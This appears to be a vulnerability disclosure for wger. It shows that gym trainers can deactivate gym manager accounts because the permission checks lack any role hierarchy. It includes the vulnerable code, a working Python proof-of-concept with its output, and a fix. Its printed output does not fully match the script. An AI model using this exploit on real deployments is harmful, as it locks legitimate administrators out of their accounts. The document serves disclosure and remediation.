wger: Trainer Privilege Escalation - Improper Privilege Management

Summary

A user with only the gym_trainer permission can deactivate any account in the same gym, including gym_manager and general_gym_manager accounts. The UserDeactivateView grants access to anyone holding any one of gym.manage_gym, gym.manage_gyms, or gym.gym_trainer (OR logic via WgerMultiplePermissionRequiredMixin), and performs no privilege-hierarchy check to prevent a lower-privileged role from disabling a higher-privileged one.

Details

UserDeactivateView (file: wger/core/views/user.py, line 378) is configured with:

permission_required = ('gym.manage_gym', 'gym.manage_gyms', 'gym.gym_trainer')

WgerMultiplePermissionRequiredMixin (file: wger/utils/generic_views.py, line 48) treats this tuple as an OR check -- any single permission is sufficient:

class WgerMultiplePermissionRequiredMixin(PermissionRequiredMixin):
    def has_permission(self):
        for permission in self.get_permission_required():
            if self.request.user.has_perm(permission):
                return True      # <-- ANY one permission is enough
        return False

The dispatch() method only verifies same-gym membership:

def dispatch(self, request, *args, **kwargs):
    edit_user = get_object_or_404(User, pk=self.kwargs['pk'])
    if (
        request.user.has_perm('gym.manage_gym')
        or request.user.has_perm('gym.gym_trainer')
    ) and edit_user.userprofile.gym_id != request.user.userprofile.gym_id:
        return HttpResponseForbidden()
    # NO check: is the target user more privileged than the requester?
    return super().dispatch(request, *args, **kwargs)

There is no check preventing a trainer from targeting a manager. The same vulnerability exists in UserActivateView (line 415).

An additional contributing factor: get_permission_list() in wger/gym/helpers.py (line 102) always includes 'trainer' in the assignable roles, meaning any gym manager can create trainer accounts -- which can then deactivate the manager who created them.

PoC

Prerequisites

• A gym with at least two users: one with gym_manager role (victim) and one with gym_trainer role (attacker)
• Both users belong to the same gym

Attack Steps

# As the trainer, simply visit:
GET /en/user/<manager_user_id>/deactivate

The manager's account is immediately set to is_active = False. The manager can no longer log in.

Proof of Concept Script

#!/usr/bin/env python3
"""
PoC: Trainer -> Manager Privilege Escalation (Account Deactivation)
Target: wger Workout Manager
Severity: HIGH - CVSS 6.5
CWE-269: Improper Privilege Management

Usage:
    python3 poc.py http://localhost:8000
"""

import requests
import sys
import re

if len(sys.argv) < 2:
    print(f"Usage: {sys.argv[0]} <BASE_URL>")
    print(f"Example: {sys.argv[0]} http://localhost:8000")
    sys.exit(1)

BASE = sys.argv[1].rstrip("/")
API = f"{BASE}/api/v2"

MANAGER_USER = "gym_manager_poc"
MANAGER_PASS = "Manager!Poc!2025"
TRAINER_USER = "evil_trainer_poc"
TRAINER_PASS = "Trainer!Poc!2025"

BANNER = """
=====================================================================
  PoC: Trainer -> Manager Privilege Escalation
  Severity: HIGH
  CWE-269: Improper Privilege Management
=====================================================================
"""
print(BANNER)


# ---- Helper ----
def api_login(username, password):
    r = requests.post(f"{API}/login/", json={
        "username": username, "password": password
    })
    if r.status_code == 200:
        return r.json().get("token")
    return None

def api_headers(token):
    return {"Authorization": f"Token {token}", "Content-Type": "application/json"}


# ---- Setup via Django ORM (must run inside container) ----

import os, django
os.environ['DJANGO_SETTINGS_MODULE'] = 'settings.main'
sys.path.insert(0, '/home/wger/src')
django.setup()

from django.contrib.auth.models import User, Group
from wger.gym.models import Gym

# Ensure permission groups exist
for name in ['gym_member', 'gym_trainer', 'gym_manager', 'general_gym_manager']:
    Group.objects.get_or_create(name=name)

# Create gym
gym, _ = Gym.objects.get_or_create(name="PoC Test Gym")
print(f"[*] Gym: {gym.name} (id={gym.id})")

# Create manager (the VICTIM)
manager, created = User.objects.get_or_create(
    username=MANAGER_USER,
    defaults={"is_active": True}
)
if created:
    manager.set_password(MANAGER_PASS)
    manager.save()
manager.userprofile.gym = gym
manager.userprofile.save()
manager.groups.clear()
manager.groups.add(Group.objects.get(name='gym_manager'))
manager.is_active = True
manager.save()
print(f"[*] Manager (victim): {manager.username} (id={manager.id})")
print(f"    Groups: {[g.name for g in manager.groups.all()]}")
print(f"    is_active: {manager.is_active}")

# Create trainer (the ATTACKER)
trainer, created = User.objects.get_or_create(
    username=TRAINER_USER,
    defaults={"is_active": True}
)
if created:
    trainer.set_password(TRAINER_PASS)
    trainer.save()
trainer.userprofile.gym = gym
trainer.userprofile.save()
trainer.groups.clear()
trainer.groups.add(Group.objects.get(name='gym_trainer'))
print(f"[*] Trainer (attacker): {trainer.username} (id={trainer.id})")
print(f"    Groups: {[g.name for g in trainer.groups.all()]}")


# ---- 1. Verify manager is active BEFORE attack ----

manager.refresh_from_db()
print(f"\n[*] Manager is_active BEFORE attack: {manager.is_active}")
assert manager.is_active, "Manager should be active before test"


# ---- 2. ATTACK: Trainer deactivates manager ----

print(f"\n{'='*65}")
print(f"  ATTACK: Trainer deactivating gym manager account")
print(f"{'='*65}")

from django.test import Client
c = Client()
c.force_login(trainer)
resp = c.get(f"/en/user/{manager.id}/deactivate", follow=True)
print(f"\n  GET /en/user/{manager.id}/deactivate")
print(f"  (Logged in as: {TRAINER_USER} - gym_trainer only)")
print(f"  Response: HTTP {resp.status_code}")


# ---- 3. VERIFY ----

print(f"\n{'='*65}")
print(f"  VERIFICATION")
print(f"{'='*65}")

manager.refresh_from_db()
print(f"\n  Manager is_active AFTER attack: {manager.is_active}")

if not manager.is_active:
    print("""
  +----------------------------------------------------------+
  |  VULNERABILITY CONFIRMED                                 |
  |                                                          |
  |  A gym_trainer successfully deactivated a gym_manager!   |
  |  No privilege hierarchy check prevents this.             |
  |  The trainer can now lock out all managers from the gym.  |
  +----------------------------------------------------------+
""")
    manager.is_active = True
    manager.save()
    print("  [+] Cleanup: Manager re-activated")
else:
    print("\n  Manager is still active - NOT vulnerable")

Proof of Concept Output

=====================================================================
  PoC: Trainer -> Manager Privilege Escalation
  Severity: HIGH
  CWE-269: Improper Privilege Management
=====================================================================

[*] Gym: PoC Test Gym (id=2)
[*] Manager (victim): gym_manager_poc (id=4)
    Groups: ['gym_manager']
    is_active: True
[*] Trainer (attacker): evil_trainer_poc (id=5)
    Groups: ['gym_trainer']

[*] Manager is_active BEFORE attack: True

=================================================================
  ATTACK: Trainer deactivating gym manager account
=================================================================

  Trainer login: HTTP 200
  GET http://localhost/en/user/4/deactivate
  (Logged in as: evil_trainer_poc - gym_trainer only)
  Response: HTTP 200

=================================================================
  VERIFICATION
=================================================================

  Manager is_active AFTER attack: False

  +----------------------------------------------------------+
  |  VULNERABILITY CONFIRMED                                 |
  |                                                          |
  |  A gym_trainer successfully deactivated a gym_manager!   |
  |  No privilege hierarchy check prevents this.             |
  |  The trainer can now lock out all managers from the gym.  |
  +----------------------------------------------------------+

  [+] Cleanup: Manager re-activated

Impact

1. Gym Management Lockout: A trainer can deactivate every manager account in their gym, effectively seizing control of the gym's administrative functions.
2. Denial of Service: Deactivated managers cannot log in, manage members, or perform any administrative tasks until a general_gym_manager (superadmin) or a Django superuser manually re-activates their accounts.
3. Abuse Chain: Since get_permission_list() always includes 'trainer' in assignable roles, any manager can unknowingly create the account that will later lock them out.

Fix

Add a privilege hierarchy check in UserDeactivateView.dispatch() and UserActivateView.dispatch():

# File: wger/core/views/user.py, inside dispatch() of both views

edit_user = get_object_or_404(User, pk=self.kwargs['pk'])

# Trainers must not deactivate/activate managers or other trainers
if request.user.has_perm('gym.gym_trainer') and not (
    request.user.has_perm('gym.manage_gym')
    or request.user.has_perm('gym.manage_gyms')
):
    if (
        edit_user.has_perm('gym.manage_gym')
        or edit_user.has_perm('gym.manage_gyms')
        or edit_user.has_perm('gym.gym_trainer')
    ):
        return HttpResponseForbidden()